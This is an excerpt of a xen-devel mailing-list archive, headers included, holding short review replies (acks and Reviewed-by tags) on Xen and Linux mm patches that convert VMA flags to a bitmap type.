 =?utf-8?B?bGExcUs4Tlc1bEZmSzAyV2dvaExkU2JzTEhWeDI4WkliSXNqaVlqenBUVm1T?=
 =?utf-8?B?SVRsVmUrSnMvNDlITStEWDE0U2xsSEgwTC9NcG1QR2N0UjRqZ2d5ZFhVZnZX?=
 =?utf-8?B?NGdSMkF3VUpac2RrME8xMUVvWDBPSUF6em52aEZzbDUvZEFBVE54Z0x2b05i?=
 =?utf-8?B?SEczcDNMVEd6U1FLTHE3RzF0cDk4UVRDU200L0l6MkRsNHlSMlRVVDFER1ha?=
 =?utf-8?B?Q0lMZTFuWmN5R005Y1BVakk3UENpcnJQaFlGS3lLbFQ0d0MyNmRXR2IrZTlJ?=
 =?utf-8?B?K2tCbmo1UHZvVExkdDlWUVR5cjBlZ0NoaGxoWmdUd1E2S25QS1Q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ncXJOQ3lobmM2OUJUT0tFd2phMXA3clpZSUpL?=
 =?utf-8?B?YnE2Q01MNVRnRTRwUE9GVVZtVzlLT3U2ZTdMd3k3V2dSYU1aWUUvWmN1WVBR?=
 =?utf-8?B?TFhMY3RyUnRzQWZscWQ4L3dwVldUemhVVHZ0a2dVZ1Q4ejR1emNoV25ILytI?=
 =?utf-8?B?L1Vya2sxSVREa3lhQXVNcms3Z0NOK2c3VUpQVzFBWjZCU0UxOVRKZz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 5db6a722-3f9c-40e7-1646-08ded82d6bae
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 02 Jul 2026 11:31:12.6269
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: Gsd8KiC+nsmi+4XLL501rdvXkEqe6pSHj9jBx6gxGlz6RG3eIvfeQVv5hC8aIaoCBel5584GAa3oDQijLaYsp/xlaVm1oDMWCWsQupPLslU=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH0PR03MB5733
X-purgate-ID: tlsNG-d25034/1782991876-0EB3DD51-5EC61805/0/0
X-purgate-type: clean
X-purgate-size: 733

On 02/07/2026 11:55 am, Jan Beulich wrote:
> It can be used as-is for VMX. For SVM the special treatment of %rax needs
> accounting for.
>
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> ---
> This is the minimum required as a prereq to the next patch (to avoid the
> need for custom adjustments in the two places). We could go further and
> switch to using PUSH_AND_CLEAR_GPRS at the same time.

I've got several part-series that result in purging SAVE_ALL/RESTORE_ALL.

If you want to put this patch in, then Acked-by: Andrew Cooper
<andrew.cooper3@citrix.com> but I firmly want to finish my series before
patch 2 adds yet-more complexity to macros which I'm wanting to remove
for being too complicated already.


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 11:38:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 11:38:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351736.1608806 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfFjz-0006AX-Gq; Thu, 02 Jul 2026 11:37:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351736.1608806; Thu, 02 Jul 2026 11:37:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfFjz-0006AQ-E9; Thu, 02 Jul 2026 11:37:59 +0000
Received: by outflank-mailman (input) for mailman id 1351736;
 Thu, 02 Jul 2026 11:37:58 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lance.yang@linux.dev>) id 1wfFjx-0006AK-QL
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 11:37:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfFjx-00EP7D-6z
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 13:37:57 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a464d88-5cb7-0a2a0a5109dd-0a2a4507bff4-28
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 13:37:56 +0200
Received: from [95.215.58.183] (helo=out-183.mta1.migadu.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a464d93-9c8e-0a2a45070019-5fd73ab7ff0b-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 13:37:55 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=key1 header.d=linux.dev header.i="@linux.dev" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux.dev; s=key1;
	t=1782992273;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=s4zTiOPxPEEvh+Z2LMv+6gqe9ZZvh+3yTK3Yc5UnT/U=;
	b=AkD1PO3EYh/hmuzqNyG5+F4iFU+xRbougp+bY+xotWctIjwUQvMKpAwXsjPb5kG+NxyY12
	mV0mEGNoe2Czu7JdCtguHySTk1KxuHzjRfZnXIBhIe71SSOqRiI6wOFZz62JhxqVX83KFA
	KhWu2A9hV9btjfbdFeq0dyXUttdl5PQ=
From: Lance Yang <lance.yang@linux.dev>
To: ljs@kernel.org
Cc: akpm@linux-foundation.org,
	tsbogend@alpha.franken.de,
	maddy@linux.ibm.com,
	mpe@ellerman.id.au,
	maarten.lankhorst@linux.intel.com,
	mripard@kernel.org,
	tzimmermann@suse.de,
	airlied@gmail.com,
	simona@ffwll.ch,
	l.stach@pengutronix.de,
	inki.dae@samsung.com,
	sw0312.kim@samsung.com,
	kyungmin.park@samsung.com,
	krzk@kernel.org,
	peter.griffin@linaro.org,
	jani.nikula@linux.intel.com,
	joonas.lahtinen@linux.intel.com,
	rodrigo.vivi@intel.com,
	tursulin@ursulin.net,
	robin.clark@oss.qualcomm.com,
	lumag@kernel.org,
	lyude@redhat.com,
	dakr@kernel.org,
	tomi.valkeinen@ideasonboard.com,
	hjc@rock-chips.com,
	heiko@sntech.de,
	andy.yan@rock-chips.com,
	thierry.reding@kernel.org,
	mperttunen@nvidia.com,
	jonathanh@nvidia.com,
	kraxel@redhat.com,
	dmitry.osipenko@collabora.com,
	zack.rusin@broadcom.com,
	matthew.brost@intel.com,
	thomas.hellstrom@linux.intel.com,
	oleksandr_andrushchenko@epam.com,
	deller@gmx.de,
	bcrl@kvack.org,
	viro@zeniv.linux.org.uk,
	brauner@kernel.org,
	muchun.song@linux.dev,
	osalvador@suse.de,
	david@kernel.org,
	ziy@nvidia.com,
	baolin.wang@linux.alibaba.com,
	liam@infradead.org,
	npache@redhat.com,
	ryan.roberts@arm.com,
	dev.jain@arm.com,
	baohua@kernel.org,
	lance.yang@linux.dev,
	hughd@google.com,
	vbabka@kernel.org,
	rppt@kernel.org,
	surenb@google.com,
	mhocko@suse.com,
	jannh@google.com,
	pfalcato@suse.de,
	kees@kernel.org,
	perex@perex.cz,
	tiwai@suse.com,
	linux-mips@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	dri-devel@lists.freedesktop.org,
	etnaviv@lists.freedesktop.org,
	linux-arm-kernel@lists.infradead.org,
	linux-samsung-soc@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	linux-arm-msm@vger.kernel.org,
	freedreno@lists.freedesktop.org,
	nouveau@lists.freedesktop.org,
	linux-rockchip@lists.infradead.org,
	linux-tegra@vger.kernel.org,
	virtualization@lists.linux.dev,
	intel-xe@lists.freedesktop.org,
	xen-devel@lists.xenproject.org,
	linux-fbdev@vger.kernel.org,
	linux-aio@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-mm@kvack.org,
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 03/13] mm: convert __get_unmapped_area() to use vma_flags_t
Date: Thu,  2 Jul 2026 19:37:22 +0800
Message-Id: <20260702113722.97837-1-lance.yang@linux.dev>
In-Reply-To: <b1ad7c4443f5cba622e4c48c5a9ef15427001a93.1782760670.git.ljs@kernel.org>
References: <b1ad7c4443f5cba622e4c48c5a9ef15427001a93.1782760670.git.ljs@kernel.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-ef75cf/1782992276-FCD2C25E-E5F13D92/0/0
X-purgate-type: clean
X-purgate-size: 622


On Mon, Jun 29, 2026 at 08:25:26PM +0100, Lorenzo Stoakes wrote:
>Update __get_unmapped_area() to be parameterised by vma_flags_t rather than
>vm_flags_t as part of the effort to move VMA flags from a system word to a
>bitmap.
>
>We cascade the changes up to arch_get_unmapped_area_topdown() and
>arch_get_unmapped_area(), where, for now, we use vma_flags_to_legacy() in
>order to propagate the VMA flags.
>
>No functional change intended.
>
>Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>---

Nothing suspicious that I could spot :) Feel free to add:

Reviewed-by: Lance Yang <lance.yang@linux.dev>


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 11:42:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 11:42:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351745.1608816 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfFnq-0007gF-Vg; Thu, 02 Jul 2026 11:41:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351745.1608816; Thu, 02 Jul 2026 11:41:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfFnq-0007g8-T1; Thu, 02 Jul 2026 11:41:58 +0000
Received: by outflank-mailman (input) for mailman id 1351745;
 Thu, 02 Jul 2026 11:41:57 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lance.yang@linux.dev>) id 1wfFnp-0007ex-Ud
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 11:41:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfFno-006YT7-8X
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 13:41:56 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a464e76-5cb7-0a2a0a5109dd-0a2a4503a46c-44
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 13:41:55 +0200
Received: from [91.218.175.178] (helo=out-178.mta0.migadu.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a464e83-ec1a-0a2a45030019-5bdaafb22bac-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 13:41:55 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=key1 header.d=linux.dev header.i="@linux.dev" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux.dev; s=key1;
	t=1782992513;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=vPHtV6pxZdlKjLiAMh+TI96h/MjbfgTMGiJB5aRI1Dw=;
	b=ElylzNP2HZvUF6FtGgLgsW4vT0OTcdy2XorLGs6M4jbsXqc3kVIN25VDlrp06Kwp+MnkF0
	7eCUNpZQUAu53ooUNOnYLe8bcSqU2lbFmJuaAoucdQs+qEK4yKsjIpHuYOtBIHp/EvNPEl
	ujU0zKbwsKGW+OA8vv+O0JU4vozY/FA=
From: Lance Yang <lance.yang@linux.dev>
To: ljs@kernel.org
Cc: akpm@linux-foundation.org,
	tsbogend@alpha.franken.de,
	maddy@linux.ibm.com,
	mpe@ellerman.id.au,
	maarten.lankhorst@linux.intel.com,
	mripard@kernel.org,
	tzimmermann@suse.de,
	airlied@gmail.com,
	simona@ffwll.ch,
	l.stach@pengutronix.de,
	inki.dae@samsung.com,
	sw0312.kim@samsung.com,
	kyungmin.park@samsung.com,
	krzk@kernel.org,
	peter.griffin@linaro.org,
	jani.nikula@linux.intel.com,
	joonas.lahtinen@linux.intel.com,
	rodrigo.vivi@intel.com,
	tursulin@ursulin.net,
	robin.clark@oss.qualcomm.com,
	lumag@kernel.org,
	lyude@redhat.com,
	dakr@kernel.org,
	tomi.valkeinen@ideasonboard.com,
	hjc@rock-chips.com,
	heiko@sntech.de,
	andy.yan@rock-chips.com,
	thierry.reding@kernel.org,
	mperttunen@nvidia.com,
	jonathanh@nvidia.com,
	kraxel@redhat.com,
	dmitry.osipenko@collabora.com,
	zack.rusin@broadcom.com,
	matthew.brost@intel.com,
	thomas.hellstrom@linux.intel.com,
	oleksandr_andrushchenko@epam.com,
	deller@gmx.de,
	bcrl@kvack.org,
	viro@zeniv.linux.org.uk,
	brauner@kernel.org,
	muchun.song@linux.dev,
	osalvador@suse.de,
	david@kernel.org,
	ziy@nvidia.com,
	baolin.wang@linux.alibaba.com,
	liam@infradead.org,
	npache@redhat.com,
	ryan.roberts@arm.com,
	dev.jain@arm.com,
	baohua@kernel.org,
	lance.yang@linux.dev,
	hughd@google.com,
	vbabka@kernel.org,
	rppt@kernel.org,
	surenb@google.com,
	mhocko@suse.com,
	jannh@google.com,
	pfalcato@suse.de,
	kees@kernel.org,
	perex@perex.cz,
	tiwai@suse.com,
	linux-mips@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	dri-devel@lists.freedesktop.org,
	etnaviv@lists.freedesktop.org,
	linux-arm-kernel@lists.infradead.org,
	linux-samsung-soc@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	linux-arm-msm@vger.kernel.org,
	freedreno@lists.freedesktop.org,
	nouveau@lists.freedesktop.org,
	linux-rockchip@lists.infradead.org,
	linux-tegra@vger.kernel.org,
	virtualization@lists.linux.dev,
	intel-xe@lists.freedesktop.org,
	xen-devel@lists.xenproject.org,
	linux-fbdev@vger.kernel.org,
	linux-aio@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-mm@kvack.org,
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 04/13] mm: update generic_get_unmapped_area[_topdown]() to use vma_flags_t
Date: Thu,  2 Jul 2026 19:41:35 +0800
Message-Id: <20260702114135.4189-1-lance.yang@linux.dev>
In-Reply-To: <cef55b19f86c110952f13829aefa4859db3a70ed.1782760670.git.ljs@kernel.org>
References: <cef55b19f86c110952f13829aefa4859db3a70ed.1782760670.git.ljs@kernel.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-33051d/1782992515-B4F835D1-24E5BE97/0/0
X-purgate-type: clean
X-purgate-size: 652


On Mon, Jun 29, 2026 at 08:25:27PM +0100, Lorenzo Stoakes wrote:
>As part of the changes converting VMA flags from a system word size to a
>bitmap, extend this change to generic_get_unmapped_area() and
>generic_get_unmapped_area_topdown(), which also allows us to convert
>stack_guard_placement() as well.
>
>We retain arch_get_unmapped_area() and arch_get_unmapped_area_topdown()
>as-is for now, using legacy_to_vma_flags() as necessary to do so.
>
>No functional change intended.
>
>Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>---

Nothing jumped out at me ;) Feel free to add:

Reviewed-by: Lance Yang <lance.yang@linux.dev>


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 12:11:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 12:11:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351766.1608824 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfGG1-0003sW-86; Thu, 02 Jul 2026 12:11:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351766.1608824; Thu, 02 Jul 2026 12:11:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfGG1-0003sP-5D; Thu, 02 Jul 2026 12:11:05 +0000
Received: by outflank-mailman (input) for mailman id 1351766;
 Thu, 02 Jul 2026 12:11:03 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lance.yang@linux.dev>) id 1wfGFz-0003sJ-1M
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 12:11:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfGFy-007PbE-0m
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 14:11:02 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a465551-e002-0a2a0a5209dd-0a2a4506dd26-0
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 14:10:57 +0200
Received: from [91.218.175.174] (helo=out-174.mta0.migadu.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a465550-08de-0a2a45060019-5bdaafaef8e9-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 14:10:57 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=key1 header.d=linux.dev header.i="@linux.dev" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux.dev; s=key1;
	t=1782994254;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=szYxJDyUXLwpHCPYtdT5QZRTamk7ohIwjDiVPC1pzUs=;
	b=o2h14zEvKcQ49vaQ50LBNnbgHGGpFBTA0OsIFCWdpiUc7gYaraiUcJHgmdFM4mBzY7pBJH
	3Nawgn9WkBzIHxRb3Nw1H0UdEQI7UMwMGIksMhfoUjYHvm6uqPS5csZAIdTgWkWJ0NxwiR
	+fbu3PSBP2IvpsY/0wNqYNag0+1ZZPU=
From: Lance Yang <lance.yang@linux.dev>
To: ljs@kernel.org
Cc: akpm@linux-foundation.org,
	tsbogend@alpha.franken.de,
	maddy@linux.ibm.com,
	mpe@ellerman.id.au,
	maarten.lankhorst@linux.intel.com,
	mripard@kernel.org,
	tzimmermann@suse.de,
	airlied@gmail.com,
	simona@ffwll.ch,
	l.stach@pengutronix.de,
	inki.dae@samsung.com,
	sw0312.kim@samsung.com,
	kyungmin.park@samsung.com,
	krzk@kernel.org,
	peter.griffin@linaro.org,
	jani.nikula@linux.intel.com,
	joonas.lahtinen@linux.intel.com,
	rodrigo.vivi@intel.com,
	tursulin@ursulin.net,
	robin.clark@oss.qualcomm.com,
	lumag@kernel.org,
	lyude@redhat.com,
	dakr@kernel.org,
	tomi.valkeinen@ideasonboard.com,
	hjc@rock-chips.com,
	heiko@sntech.de,
	andy.yan@rock-chips.com,
	thierry.reding@kernel.org,
	mperttunen@nvidia.com,
	jonathanh@nvidia.com,
	kraxel@redhat.com,
	dmitry.osipenko@collabora.com,
	zack.rusin@broadcom.com,
	matthew.brost@intel.com,
	thomas.hellstrom@linux.intel.com,
	oleksandr_andrushchenko@epam.com,
	deller@gmx.de,
	bcrl@kvack.org,
	viro@zeniv.linux.org.uk,
	brauner@kernel.org,
	muchun.song@linux.dev,
	osalvador@suse.de,
	david@kernel.org,
	ziy@nvidia.com,
	baolin.wang@linux.alibaba.com,
	liam@infradead.org,
	npache@redhat.com,
	ryan.roberts@arm.com,
	dev.jain@arm.com,
	baohua@kernel.org,
	lance.yang@linux.dev,
	hughd@google.com,
	vbabka@kernel.org,
	rppt@kernel.org,
	surenb@google.com,
	mhocko@suse.com,
	jannh@google.com,
	pfalcato@suse.de,
	kees@kernel.org,
	perex@perex.cz,
	tiwai@suse.com,
	linux-mips@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	dri-devel@lists.freedesktop.org,
	etnaviv@lists.freedesktop.org,
	linux-arm-kernel@lists.infradead.org,
	linux-samsung-soc@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	linux-arm-msm@vger.kernel.org,
	freedreno@lists.freedesktop.org,
	nouveau@lists.freedesktop.org,
	linux-rockchip@lists.infradead.org,
	linux-tegra@vger.kernel.org,
	virtualization@lists.linux.dev,
	intel-xe@lists.freedesktop.org,
	xen-devel@lists.xenproject.org,
	linux-fbdev@vger.kernel.org,
	linux-aio@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-mm@kvack.org,
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 05/13] mm: prefer mm->def_vma_flags in mm logic
Date: Thu,  2 Jul 2026 20:10:22 +0800
Message-Id: <20260702121022.49113-1-lance.yang@linux.dev>
In-Reply-To: <3b4ccdc38819b42ddc79ee5a795831208ac7986c.1782760670.git.ljs@kernel.org>
References: <3b4ccdc38819b42ddc79ee5a795831208ac7986c.1782760670.git.ljs@kernel.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-16d1c6/1782994257-42F2468D-5957A36A/0/0
X-purgate-type: clean
X-purgate-size: 1399


On Mon, Jun 29, 2026 at 08:25:28PM +0100, Lorenzo Stoakes wrote:
>Currently mm->def_flags (of type vm_flags_t) is union'd with
>mm->def_vma_flags (of type vma_flags_t).
>
>As part of the effort to convert vm_flags_t usage to vma_flags_t (in order
>to no longer be arbitrarily limited to a system word size for VMA flags),
>prefer mm->def_vma_flags to mm->def_flags throughout the mm logic.
>
>No functional change intended.
>
>Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>---
> mm/debug.c |  2 +-
> mm/mlock.c | 13 +++++++------
> mm/mmap.c  | 11 ++++++-----
> mm/vma.c   |  4 ++--
> 4 files changed, 16 insertions(+), 14 deletions(-)
>
>diff --git a/mm/debug.c b/mm/debug.c
>index 497654b36f1a..f0a354a9496a 100644
>--- a/mm/debug.c
>+++ b/mm/debug.c
>@@ -226,7 +226,7 @@ void dump_mm(const struct mm_struct *mm)
> 		mm->numa_next_scan, mm->numa_scan_offset, mm->numa_scan_seq,
> #endif
> 		atomic_read(&mm->tlb_flush_pending),
>-		mm->def_flags, &mm->def_flags
>+		vma_flags_to_legacy(mm->def_vma_flags), &mm->def_vma_flags
> 	);

While at it, one thing for later: dump_mm() still assumes one-world VMA
flags. That works today since vma_flags_t is one word. Maybe worth a
BUILD_BUG_ON() here, before that stops being true?

Not a big deal though. Feel free to add:

Reviewed-by: Lance Yang <lance.yang@linux.dev>

> }
> EXPORT_SYMBOL(dump_mm);
[...]


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 12:22:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 12:22:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351781.1608834 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfGQY-0005jU-5r; Thu, 02 Jul 2026 12:21:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351781.1608834; Thu, 02 Jul 2026 12:21:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfGQY-0005jN-2Q; Thu, 02 Jul 2026 12:21:58 +0000
Received: by outflank-mailman (input) for mailman id 1351781;
 Thu, 02 Jul 2026 12:21:56 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lance.yang@linux.dev>) id 1wfGQV-0005jH-4f
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 12:21:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfGQU-006Uvu-He
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 14:21:54 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a4657e2-bab6-0a2a0a5309dd-0a2a45019d8a-0
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 14:21:54 +0200
Received: from [91.218.175.173] (helo=out-173.mta0.migadu.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a4657e1-400f-0a2a45010019-5bdaafad6efe-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 14:21:53 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=key1 header.d=linux.dev header.i="@linux.dev" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
